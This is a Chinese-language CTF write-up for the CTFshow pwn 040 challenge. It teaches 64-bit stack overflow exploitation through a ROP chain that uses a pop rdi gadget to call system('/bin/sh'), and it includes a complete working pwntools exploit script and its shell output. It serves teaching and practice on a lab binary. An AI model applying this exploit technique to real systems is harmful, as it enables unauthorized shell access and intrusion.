欢迎光临
我们一直在努力

【CTFshow-pwn系列】02_栈溢出【pwn 040】详解:64位 ROP 与参数传递

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在 PWN 039 中,我们学习了 32 位程序如何通过栈构造参数来调用 system("/bin/sh")。 来到 PWN 040,题目提示依然是熟悉的 “Just easy ret2text&&64bit”,但情况有所不同。

虽然题目仍然提供了 system 函数和 /bin/sh 字符串,但由于架构变成了 64位,参数不再直接放在栈上,而是优先存放在寄存器中。这意味着我们不能简单地把参数写在栈里,而是需要寻找特殊的指令片段(Gadgets)来把栈上的数据“弹”进寄存器。

pwn 040 寄存器传参:POP RDI 的艺术

题目信息与环境侦察

题目描述

pwn40:
It has system and '/bin/sh', but they don't work together
Just easy ret2text&&64bit

先运行查看提示

image-20260205123303195

解题过程: 首先使用 checksec 检查程序保护情况。

image-20260205123253309

  • Arch: amd64-64-little (64位程序)
  • RELRO: Partial RELRO
  • Stack: No canary found (无栈哨兵)
  • NX: NX enabled (栈不可执行)
  • PIE: No PIE (地址固定)

侦察分析:

  • 64位架构:函数参数传递遵循 System V AMD64 ABI 约定。
  • No PIE:Gadgets 和函数地址固定。
  • 第一部分:机制详解 —— 64位参数传递与 Gadgets

    1. 64位调用约定 (Calling Convention)

    在 64 位 Linux 下,函数调用的前 6 个参数依次存放于以下寄存器中:

  • RDI (参数 1) -> system 函数只需要这一个
  • RSI (参数 2)
  • RDX (参数 3)
  • RCX (参数 4)
  • R8 (参数 5)
  • R9 (参数 6)
  • 多余的参数才会放在栈上。

    2. 我们的目标

    我们要调用 system("/bin/sh")。 根据约定,字符串 "/bin/sh" 的地址必须存放在 RDI 寄存器中。

    3. 如何控制 RDI?

    我们能控制的只有栈(通过栈溢出)。我们需要找到一段代码(Gadget),它的功能是: 从栈顶弹出一个值,存入 RDI,然后返回。

    这条指令就是:

    pop rdi ; ret

    这就是本题解题的“金钥匙”。

    第二部分:代码审计与漏洞挖掘

    1. 静态分析 (IDA Pro)

    Main 函数:

    image-20260205123332385

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
    // … Logo …
    puts("Just easy ret2text&&64bit");
    ctfshow();
    puts("\\nExit");
    return 0;
    }

    漏洞函数 ctfshow:

    image-20260205123355749

    ssize_t ctfshow()
    {
    _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

    // [漏洞点]:read 读取 50 字节
    // buf 大小仅 10 字节,存在溢出
    return read(0, buf, 0x32u);
    }

    偏移量计算: 根据 IDA 注释 [rbp-Ah]:

    • buf 距离 rbp 的偏移是 0xA (10 字节)。
    • 64位下 Old RBP 占 8 字节。
    • 覆盖返回地址所需长度 = 10 (buf) + 8 (Old RBP) = 18 字节。

    2. 寻找拼图零件

    题目依然提供了 hint 函数:

    image-20260205123342487

    int hint()
    {
    puts("/bin/sh");
    return system("echo 'You find me?'");
    }

    这为我们提供了 system 的 PLT 地址和 "/bin/sh" 的地址。

    第三部分:实战操作与 Payload 构造

    1. 寻找 Gadgets

    我们需要找到 pop rdi; ret。 使用 ROPgadget 或 pwntools:

    ROPgadget –binary pwn –only "pop|ret" | grep rdi
    # 输出示例:0x0000000000400833 : pop rdi ; ret

    同时,为了防止 64 位 system 调用的 栈对齐问题 (Stack Alignment)(即 movaps 崩溃),我们在调用 system 前最好加一个 ret 指令作为填充。

    2. Payload 结构解析

    我们需要构造一条 ROP 链 (ROP Chain),逻辑如下:

  • Padding:填充 18 字节,到达返回地址。
  • Gadget 1 (pop rdi):覆盖返回地址。程序返回时,跳到这里执行 pop rdi。
  • 参数 (/bin/sh):紧跟在 pop rdi 之后。pop rdi 会把这个地址从栈上弹出来,放进 RDI 寄存器。
  • Gadget 2 (ret):用于栈对齐(可选但推荐)。
  • System 地址:RDI 准备好后,跳转到 system 执行。
  • 内存视角:

    +———————-+
    | 'a' * 18 (Padding) |
    +———————-+
    | pop_rdi 的地址 | <– 原始返回地址被覆盖为这里
    +———————-+
    | /bin/sh 的地址 | <– pop rdi 执行时,栈顶是这个,于是 RDI = /bin/sh
    +———————-+
    | ret 的地址 | <– pop rdi 里的 ret 执行时,跳到这里 (空转,对齐栈)
    +———————-+
    | system 的地址 | <– ret 执行时,跳到这里,RDI 依然保持 /bin/sh
    +———————-+

    3. 完整 EXP 脚本

    from pwn import *

    # 1. 基础配置
    context.log_level = 'debug'
    context.arch = 'amd64'

    # 2. 建立连接
    io = process('./pwn')
    # io = remote('pwn.challenge.ctf.show', 28191) # 端口根据实际情况修改

    # 3. 加载 ELF 文件
    elf = ELF('./pwn')

    # 4. 搜集拼图零件
    # [零件1] system 函数地址
    system_addr = elf.plt['system']
    log.success(f"System Address: {hex(system_addr)}")

    # [零件2] "/bin/sh" 字符串地址
    bin_sh_addr = next(elf.search(b'/bin/sh'))
    log.success(f"'/bin/sh' Address: {hex(bin_sh_addr)}")

    # [零件3] Gadgets
    # 使用 ROP 对象自动查找
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    ret = rop.find_gadget(['ret'])[0]
    log.success(f"pop rdi; ret: {hex(pop_rdi)}")
    log.success(f"ret: {hex(ret)}")

    # 5. 构造 Payload
    # 偏移量 = 10 (buf) + 8 (rbp) = 18
    offset = 18

    # 构造 ROP 链
    payload = flat([
    b'a' * offset, # 1. 填充溢出
    pop_rdi, # 2. 跳转到 pop rdi; ret
    bin_sh_addr, # 3. pop rdi 的参数:/bin/sh 放入 RDI
    ret, # 4. 栈对齐 (防止 movaps 崩溃)
    system_addr # 5. 调用 system
    ])

    # 6. 发送 Payload
    io.sendline(payload)

    # 7. 获取 Shell
    io.interactive()

    运行结果

    image-20260205123503297

    [DEBUG] Sent 0x2a bytes:
    00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
    00000010 61 61 83 07 40 00 00 00 00 00 87 07 40 00 00 00 │aa··│@···│····│@···│
    00000020 00 00 09 05 40 00 00 00 00 00 50 05 40 00 00 00 │····│@···│··P·│@···│
    00000030 00 00 │··│
    [*] Switching to interactive mode
    $ cat /ctfshow_flag
    ctfshow{…}

    总结:PWN 040 的核心逻辑

    维度32位 (pwn 039)64位 (pwn 040)
    传参方式 栈传参 寄存器传参 (RDI, RSI…)
    Payload 结构 Padding + Func + Ret + Arg Padding + Gadget + Arg + Func
    核心指令 无需特殊指令 pop rdi; ret
    栈对齐 通常不需要 需要 (ret gadget)

    核心启示: 这是大家遇到的第一个真正的 64位 ROP。

    • 找 Gadget:这是 64 位 PWN 的基本功。pop rdi 是最常用的 Gadget 之一。
    • 理解栈与寄存器的转换:我们通过控制栈上的数据,利用 pop 指令将其“搬运”到寄存器中,从而满足函数的调用约定。

    宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

    🔐 安全研究的正确姿势:

    ✅ 先授权,再测试

    ✅ 只针对自己拥有或有权测试的系统

    ✅ 发现漏洞后,及时报告并协助修复

    ✅ 尊重隐私,不越界

    ⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

    赞(0)
    未经允许不得转载:171主机测评 » 【CTFshow-pwn系列】02_栈溢出【pwn 040】详解:64位 ROP 与参数传递
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址